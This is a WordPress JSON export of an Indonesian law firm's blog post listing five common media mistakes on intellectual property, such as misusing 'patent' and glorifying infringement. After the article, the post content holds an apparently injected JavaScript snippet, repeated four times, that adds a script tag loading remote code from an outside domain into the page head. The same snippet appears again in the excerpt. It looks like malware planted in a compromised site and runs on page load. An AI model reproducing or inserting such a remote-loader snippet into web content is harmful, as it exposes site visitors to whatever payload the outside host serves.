{"id":4385,"date":"2023-09-18T12:13:56","date_gmt":"2023-09-18T12:13:56","guid":{"rendered":"https:\/\/affa.co.id\/?p=4385"},"modified":"2023-09-18T12:13:56","modified_gmt":"2023-09-18T12:13:56","slug":"5-dosa-besar-media-menyikapi-isu-kekayaan-intelektual","status":"publish","type":"post","link":"https:\/\/affa.co.id\/bhs\/2023\/09\/18\/5-dosa-besar-media-menyikapi-isu-kekayaan-intelektual\/","title":{"rendered":"5 Dosa Besar Media Menyikapi Isu Kekayaan Intelektual"},"content":{"rendered":"<h4><b>5 Dosa Besar Media Menyikapi Isu Kekayaan Intelektual<\/b><\/h4>\n<p><span style=\"font-weight: 500\">Upaya pemerintah untuk mengeluarkan Indonesia dari daftar hitam investasi US<\/span><\/p>\n<p><span style=\"font-weight: 500\">yang diterbitkan oleh <\/span><b>Kamar Dagang Amerika Serikat (USTR) <\/b><span style=\"font-weight: 500\">melalui<\/span><a href=\"https:\/\/affa.co.id\/bhs\/indonesia-remains-on-the-ustr-301-priority-watch-list-in-2023\/\"> <b>Priority Watch List (PWL) 2023<\/b><\/a><span style=\"font-weight: 500\">, memang cukup berat. Selain terus memperbaiki regulasi dan upaya penegakan hukum, edukasi akan pentingnya Kekayaan Intelektual juga harus terus dilakukan secara masif.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 500\">Sayangnya, media-media besar yang harusnya mengambil peran itu, seringkali menjadi bagian dari pembajakan itu sendiri. Akhirnya, media justru menjadi pihak yang harus diedukasi lebih awal, agar edukasi ini bisa semakin menggema ke masyarakat.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 500\">Berikut ini adalah 5 dosa besar media yang masih sering kita temui dalam pemberitaannya:<\/span><\/p>\n<h4 style=\"padding-left: 40px\"><b>1.\u00a0 \u00a0 \u00a0Menggunakan Istilah Paten untuk Apapun Kekayaan Intelektualnya<\/b><\/h4>\n<p style=\"padding-left: 80px\"><span style=\"font-weight: 500\">Karena <\/span><b>Kamus Besar Bahasa Indonesia (KBBI) <\/b><span style=\"font-weight: 500\">masih menjabarkan Paten sebagai \u201chak yang diberikan pemerintah kepada seseorang atas suatu penemuan untuk digunakan sendiri dan melindunginya dari peniruan (pembajakan),\u201d maka kata tersebut masih sering digunakan sebagai kata pengganti dari Kekayaan Intelektual. Padahal, Paten hanya salah satu dari beragam Kekayaan Intelektual, pengertian menurut KBBI itu pun berbeda dari apa yang disebutkan dalam Undang-Undang No. 14 tahun 2001 tentang Paten.\u00a0<\/span><\/p>\n<p style=\"padding-left: 80px\"><span style=\"font-weight: 500\">Salah kaprah ini mengakibatkan narasi \u201cmematenkan merek\u201d atau \u201cmematenkan berbagai resep makanan\u201d masih jadi hal yang biasa kita dengar dalam liputan media-media besar maupun kecil.<\/span><\/p>\n<p style=\"padding-left: 80px\"><span style=\"font-weight: 500\">Sebelumnya kami telah mempublikasikan artikel singkat mengenai perbedaan Paten dengan Kekayaan Intelektual lainnya di sini:<\/span><span style=\"font-weight: 500\"><br \/>\n<\/span><a href=\"https:\/\/affa.co.id\/bhs\/mematenkan-merek-mendaftarkan-hak-cipta-apa-istilah-yang-tepat\/\"><span style=\"font-weight: 500\">\u201cMematenkan Merek? Mendaftarkan Hak Cipta? Apa Istilah Yang Tepat?\u201d<\/span><\/a><\/p>\n<p>&nbsp;<\/p>\n<h4 style=\"padding-left: 40px\"><b>2.\u00a0 \u00a0 Memberitakan Pembajakan, tapi Menampilkan Sumbernya<\/b><\/h4>\n<p style=\"padding-left: 80px\"><span style=\"font-weight: 500\">Beberapa media sudah memiliki niat baik dalam memperingatkan masyarakat untuk tidak mengakses materi seperti film atau musik yang seharusnya hanya bisa kita nikmati di bioskop atau kanal <\/span><i><span style=\"font-weight: 500\">streaming, <\/span><\/i><span style=\"font-weight: 500\">melalui situs-situs ilegal<\/span><i><span style=\"font-weight: 500\">. <\/span><\/i><span style=\"font-weight: 500\">Namun dalam pemberitaannya, media tersebut justru menampilkan tangkapan layar yang memuat alamat dari situs ilegal tersebut. Hal ini tentunya menjadi blunder, karena memancing warga untuk mengaksesnya.<\/span><\/p>\n<p style=\"padding-left: 80px\"><span style=\"font-weight: 500\">Liputan yang seperti itu juga dapat dianggap sebagai penyebarluasan materi ilegal, dan dapat dijatuhi sanksi pidana sebagaimana yang diatur pada <\/span><b>Pasal 113 Undang-Undang Hak Cipta<\/b><i><span style=\"font-weight: 500\">.<\/span><\/i><span style=\"font-weight: 500\"> Maka dari itu jangan sampai niat baik malah berujung masalah.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4 style=\"padding-left: 40px\"><b>3.\u00a0 \u00a0 Penggunaan Materi Tanpa Izin<\/b><b><\/b><\/h4>\n<p style=\"padding-left: 80px\"><span style=\"font-weight: 500\">Belasan tahun yang lalu, saat YouTube semakin marak dan jadi sumber informasi dengan visual yang menarik, media TV berlomba-lomba memanfaatnya sebagai materi untuk program baru, yang menurut mereka unik bagi penonton setia mereka di TV, masyarakat yang tinggal di pelosok, yang masih sulit mengakses internet.\u00a0<\/span><\/p>\n<p style=\"padding-left: 80px\"><span style=\"font-weight: 500\">Anggapan media saat itu adalah, \u201cSemua yang sudah ada di internet, berarti dapat diakses oleh publik, maka dapat dimanfaatkan secara komersil dengan cuma-cuma.\u201d<\/span><\/p>\n<p style=\"padding-left: 80px\"><span style=\"font-weight: 500\">Hal itu tentu bertentangan dengan <\/span><b>Pasal 8 Undang-Undang Hak Cipta<\/b><span style=\"font-weight: 500\">, yang menyebutkan hanya penciptalah atau dalam hal ini sang kreator\/ fotografer\/ pembuat video aslinya yang berhak atas Hak Ekonomi atas ciptaannya. Dengan kata lain, jika media ingin membuat program TV atas karya-karya tersebut, apalagi mendapatkan iklan dari penayangannya, harus mendapatkan izin dari penciptanya.<\/span><\/p>\n<p style=\"padding-left: 80px\"><span style=\"font-weight: 500\">Bahkan platform seperti YouTube juga tunduk pada Undang-Undang Hak Cipta. Dalam Panduan Layanan (<\/span><i><span style=\"font-weight: 500\">Terms of Service<\/span><\/i><span style=\"font-weight: 500\">)-nya, disebutkan bahwa setiap pelanggaran yang terjadi dapat dilanjutkan ke proses hukum yang berlaku. Termasuk anggapan bahwa setiap karya masih bebas digunakan dalam \u201ckondisi wajar,\u201d tidak akan berlaku jika penciptanya keberatan.<\/span><\/p>\n<p style=\"padding-left: 80px\"><span style=\"font-weight: 500\">Saat ini, walaupun media sudah lebih sadar akan masalah Hak Cipta dengan mencantumkan alamat materi aslinya, namun bukan menjadi pembenaran untuk mempublikasikannya tanpa izin. Maka dari itu, untuk menghindari tuntutan di kemudian hari, biasakanlah untuk meminta izin terlebih dahulu kepada pemilik materi yang ingin dijadikan bahan liputan\/ program.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4 style=\"padding-left: 40px\"><b>4.\u00a0 \u00a0 Overclaim di YouTube<\/b><\/h4>\n<p style=\"padding-left: 80px\"><span style=\"font-weight: 500\">Saat media<\/span><i><span style=\"font-weight: 500\"> mainstream<\/span><\/i><span style=\"font-weight: 500\"> mulai memanfaatkan YouTube sebagai sumber penghasilan tambahan, mereka juga mengunggah semua program dan liputannya di kanal <\/span><i><span style=\"font-weight: 500\">streaming<\/span><\/i><span style=\"font-weight: 500\"> tersebut, agar pemirsanya dapat menyaksikan materi tersebut kapan saja, di mana saja. Dengan basis legalitas dan kepemirsaan yang tinggi, YouTube secara tidak langsung juga memberikan kepercayaan bahwa setiap materi yang diunggah itu dianggap sebagai <\/span><i><span style=\"font-weight: 500\">\u201cstrong copyright protections.\u201d<\/span><\/i><\/p>\n<p style=\"padding-left: 80px\"><span style=\"font-weight: 500\">Hal itu menjadi berbahaya saat pihak media mengunggah materi yang bukan menjadi miliknya. Misalnya, saat membuat liputan atau mewawancarai seorang <\/span><i><span style=\"font-weight: 500\">content creator<\/span><\/i><span style=\"font-weight: 500\">. Agar visualnya menarik, pihak media akan menampilkan <\/span><i><span style=\"font-weight: 500\">insert<\/span><\/i><span style=\"font-weight: 500\"> video beberapa menit yang dibuat oleh sang kreator. Video tersebut sudah lama dipublikasikan oleh sang kreator di YouTube, tapi setelah pihak media mengunggah program liputannya dengan memuat bagian dari video itu, justru video dari sang kreator yang dianggap melanggar Hak Cipta.<\/span><\/p>\n<p style=\"padding-left: 80px\"><span style=\"font-weight: 500\">Hal tersebut sudah beberapa kali terjadi dan menjadi viral di media sosial. Beruntung kasus-kasus seperti ini tidak berujung pada tuntutan pidana, karena dapat terselesaikan dengan mematikan perlindungan Hak Cipta pada video yang diunggah oleh pihak media tersebut.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4 style=\"padding-left: 40px\"><b>5.\u00a0 \u00a0 Glorifikasi pelanggaran Kekayaan Intelektual<\/b><\/h4>\n<p style=\"padding-left: 80px\"><span style=\"font-weight: 500\">Dosa yang terakhir ini bisa dibilang yang paling sering kita temui, yang secara tidak langsung justru memelihara kegiatan pelanggaran untuk terus terjadi di Indonesia. Atas nama \u201cGood News\u201d, pemberitaan media sering menampilkan kisah sukses dari para UMKM di pelosok daerah. Tapi masalahnya, kegiatan usaha yang dilakukan oleh para UMKM tersebut adalah kegiatan yang melanggar Kekayaan Intelektual.<\/span><\/p>\n<p style=\"padding-left: 80px\"><span style=\"font-weight: 500\">Misalnya, membuat produk kerajinan tangan, kain, atau pakaian yang memanfaatkan karakter-karakter populer dari manca negara tanpa izin. Media dengan bangga menceritakan pemasukan besar yang mereka terima sebagai \u201ckisah sukses inspiratif.\u201d\u00a0<\/span><\/p>\n<p style=\"padding-left: 80px\"><span style=\"font-weight: 500\">Bagi kita yang paham akan kondisi itu tentunya akan jadi memalukan. Karena para reporter-reporter media yang meliput kegiatan tersebut, justru seharusnya dapat menjadi ujung tombak dalam upaya mencerdaskan masyarakat akan kesadaran Kekayaan Intelektual.<\/span><\/p>\n<p style=\"padding-left: 80px\"><span style=\"font-weight: 500\">Saat angka produksi mereka sudah tinggi, jangan lagi menggunakan karakter-karakter milik orang lain yang dilindungi. Saatnya berproduksi dengan karakter-karakter orisinil, yang bukan tidak mungkin dapat memberikan nilai tambah bagi para UMKM tersebut.<\/span><\/p>\n<p style=\"padding-left: 80px\"><span style=\"font-weight: 500\">Karena dengan melakukan pembiaran, media justru membahayakan UMKM-UMKM tersebut, dengan memposisikan mereka sebagai sasaran tembak terbuka bagi pemilik Kekayaan Intelektual yang sesungguhnya. Dengan pemberitaan pemasukan besar yang dihasilkan, pemilik aslinya akan mengajukan gugatan setinggi-tingginya, dan itu salah siapa?<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 500\">Demikian lima dosa besar media yang masih marak kita temui hingga saat ini. Semoga daftarnya tidak bertambah dan media dapat menjalankan fungsinya sebagai salah satu corong edukasi yang efektif dalam menyadarkan pentingnya Kekayaan Intelektual di masyarakat.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><strong>Jika teman-teman Media membutuhkan informasi lebih lanjut terkait pelanggaran Kekayaan Intelektual, dapat langsung menghubungi kami melalui <a href=\"mailto:emirsyah.dinar@affa.co.id\">emirsyah.dinar@affa.co.id<\/a>.<\/strong><\/p>\n<p>[dt_divider style=&#8221;thin&#8221; \/]var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"excerpt":{"rendered":"<p>5 Dosa Besar Media Menyikapi Isu Kekayaan Intelektual Upaya pemerintah untuk mengeluarkan Indonesia dari daftar hitam investasi US yang diterbitkan oleh Kamar Dagang Amerika Serikat (USTR) melalui Priority Watch List (PWL) 2023, memang cukup berat. Selain terus memperbaiki regulasi dan upaya penegakan hukum, edukasi akan pentingnya Kekayaan Intelektual juga harus terus dilakukan secara masif. &nbsp; Sayangnya, media-media besar yang harusnya mengambil peran itu, seringkali menjadi bagian dari pembajakan itu sendiri. Akhirnya, media justru menjadi pihak yang harus diedukasi lebih awal, agar edukasi ini bisa semakin menggema ke masyarakat. &nbsp; Berikut ini adalah 5 dosa besar media yang masih sering kita temui dalam pemberitaannya: 1.\u00a0 \u00a0 \u00a0Menggunakan Istilah Paten untuk Apapun Kekayaan Intelektualnya Karena Kamus Besar Bahasa Indonesia (KBBI) masih menjabarkan Paten sebagai \u201chak yang diberikan pemerintah kepada seseorang atas suatu penemuan untuk digunakan sendiri dan melindunginya dari peniruan (pembajakan),\u201d maka kata tersebut masih sering digunakan sebagai kata pengganti dari Kekayaan Intelektual. Padahal, Paten hanya salah satu dari beragam Kekayaan Intelektual, pengertian menurut KBBI itu pun berbeda dari apa yang disebutkan dalam Undang-Undang No. 14 tahun 2001 tentang Paten.\u00a0 Salah kaprah ini mengakibatkan narasi \u201cmematenkan merek\u201d atau \u201cmematenkan berbagai resep makanan\u201d masih jadi hal yang biasa kita dengar dalam liputan media-media besar maupun kecil. Sebelumnya kami telah mempublikasikan artikel singkat mengenai perbedaan Paten dengan Kekayaan Intelektual lainnya di sini: \u201cMematenkan Merek? Mendaftarkan Hak Cipta? Apa Istilah Yang Tepat?\u201d &nbsp; 2.\u00a0 \u00a0 Memberitakan Pembajakan, tapi Menampilkan Sumbernya Beberapa media sudah memiliki niat baik dalam memperingatkan masyarakat untuk tidak mengakses materi seperti film atau musik yang seharusnya hanya bisa kita nikmati di bioskop atau kanal streaming, melalui situs-situs ilegal. Namun dalam pemberitaannya, media tersebut justru menampilkan tangkapan layar yang memuat alamat dari situs ilegal tersebut. Hal ini tentunya menjadi blunder, karena memancing warga untuk mengaksesnya. Liputan yang seperti itu juga dapat dianggap sebagai penyebarluasan materi ilegal, dan dapat dijatuhi sanksi pidana sebagaimana yang diatur pada Pasal 113 Undang-Undang Hak Cipta. Maka dari itu jangan sampai niat baik malah berujung masalah. &nbsp; 3.\u00a0 \u00a0 Penggunaan Materi Tanpa Izin Belasan tahun yang lalu, saat YouTube semakin marak dan jadi sumber informasi dengan visual yang menarik, media TV berlomba-lomba memanfaatnya sebagai materi untuk program baru, yang menurut mereka unik bagi penonton setia mereka di TV, masyarakat yang tinggal di pelosok, yang masih sulit mengakses internet.\u00a0 Anggapan media saat itu adalah, \u201cSemua yang sudah ada di internet, berarti dapat diakses oleh publik, maka dapat dimanfaatkan secara komersil dengan cuma-cuma.\u201d Hal itu tentu bertentangan dengan Pasal 8 Undang-Undang Hak Cipta, yang menyebutkan hanya penciptalah atau dalam hal ini sang kreator\/ fotografer\/ pembuat video aslinya yang berhak atas Hak Ekonomi atas ciptaannya. Dengan kata lain, jika media ingin membuat program TV atas karya-karya tersebut, apalagi mendapatkan iklan dari penayangannya, harus mendapatkan izin dari penciptanya. Bahkan platform seperti YouTube juga tunduk pada Undang-Undang Hak Cipta. Dalam Panduan Layanan (Terms of Service)-nya, disebutkan bahwa setiap pelanggaran yang terjadi dapat dilanjutkan ke proses hukum yang berlaku. Termasuk anggapan bahwa setiap karya masih bebas digunakan dalam \u201ckondisi wajar,\u201d tidak akan berlaku jika penciptanya keberatan. Saat ini, walaupun media sudah lebih sadar akan masalah Hak Cipta dengan mencantumkan alamat materi aslinya, namun bukan menjadi pembenaran untuk mempublikasikannya tanpa izin. Maka dari itu, untuk menghindari tuntutan di kemudian hari, biasakanlah untuk meminta izin terlebih dahulu kepada pemilik materi yang ingin dijadikan bahan liputan\/ program. &nbsp; 4.\u00a0 \u00a0 Overclaim di YouTube Saat media mainstream mulai memanfaatkan YouTube sebagai sumber penghasilan tambahan, mereka juga mengunggah semua program dan liputannya di kanal streaming tersebut, agar pemirsanya dapat menyaksikan materi tersebut kapan saja, di mana saja. Dengan basis legalitas dan kepemirsaan yang tinggi, YouTube secara tidak langsung juga memberikan kepercayaan bahwa setiap materi yang diunggah itu dianggap sebagai \u201cstrong copyright protections.\u201d Hal itu menjadi berbahaya saat pihak media mengunggah materi yang bukan menjadi miliknya. Misalnya, saat membuat liputan atau mewawancarai seorang content creator. Agar visualnya menarik, pihak media akan menampilkan insert video beberapa menit yang dibuat oleh sang kreator. Video tersebut sudah lama dipublikasikan oleh sang kreator di YouTube, tapi setelah pihak media mengunggah program liputannya dengan memuat bagian dari video itu, justru video dari sang kreator yang dianggap melanggar Hak Cipta. Hal tersebut sudah beberapa kali terjadi dan menjadi viral di media sosial. Beruntung kasus-kasus seperti ini tidak berujung pada tuntutan pidana, karena dapat terselesaikan dengan mematikan perlindungan Hak Cipta pada video yang diunggah oleh pihak media tersebut. &nbsp; 5.\u00a0 \u00a0 Glorifikasi pelanggaran Kekayaan Intelektual Dosa yang terakhir ini bisa dibilang yang paling sering kita temui, yang secara tidak langsung justru memelihara kegiatan pelanggaran untuk terus terjadi di Indonesia. Atas nama \u201cGood News\u201d, pemberitaan media sering menampilkan kisah sukses dari para UMKM di pelosok daerah. Tapi masalahnya, kegiatan usaha yang dilakukan oleh para UMKM tersebut adalah kegiatan yang melanggar Kekayaan Intelektual. Misalnya, membuat produk kerajinan tangan, kain, atau pakaian yang memanfaatkan karakter-karakter populer dari manca negara tanpa izin. Media dengan bangga menceritakan pemasukan besar yang mereka terima sebagai \u201ckisah sukses inspiratif.\u201d\u00a0 Bagi kita yang paham akan kondisi itu tentunya akan jadi memalukan. Karena para reporter-reporter media yang meliput kegiatan tersebut, justru seharusnya dapat menjadi ujung tombak dalam upaya mencerdaskan masyarakat akan kesadaran Kekayaan Intelektual. Saat angka produksi mereka sudah tinggi, jangan lagi menggunakan karakter-karakter milik orang lain yang dilindungi. Saatnya berproduksi dengan karakter-karakter orisinil, yang bukan tidak mungkin dapat memberikan nilai tambah bagi para UMKM tersebut. Karena dengan melakukan pembiaran, media justru membahayakan UMKM-UMKM tersebut, dengan memposisikan mereka sebagai sasaran tembak terbuka bagi pemilik Kekayaan Intelektual yang sesungguhnya. Dengan pemberitaan pemasukan besar yang dihasilkan, pemilik aslinya akan mengajukan gugatan setinggi-tingginya, dan itu salah siapa? &nbsp; Demikian lima dosa besar media yang masih marak kita temui hingga saat ini. Semoga daftarnya tidak bertambah dan media dapat menjalankan fungsinya sebagai salah satu corong edukasi yang efektif dalam menyadarkan pentingnya Kekayaan Intelektual di masyarakat.\u00a0 &nbsp; Jika teman-teman Media membutuhkan informasi lebih lanjut terkait pelanggaran Kekayaan Intelektual, dapat langsung menghubungi kami melalui emirsyah.dinar@affa.co.id. [dt_divider style=&#8221;thin&#8221; \/]var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src<\/p>\n","protected":false},"author":1,"featured_media":4390,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[277],"tags":[314,315,318,325,333,335,339,363,298,305,307,309,310],"class_list":["post-4385","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-intellectual-property","tag-your-ip-is-our-expertise","tag-merek-indonesia-bisa","tag-trademark","tag-patent","tag-copyright","tag-hak-cipta","tag-paten","tag-ipr","tag-merek","tag-affa","tag-intellectual-property","tag-kekayaan-intelektual","tag-ki"],"_links":{"self":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/4385","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/comments?post=4385"}],"version-history":[{"count":0,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/4385\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media\/4390"}],"wp:attachment":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media?parent=4385"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/categories?post=4385"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/tags?post=4385"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}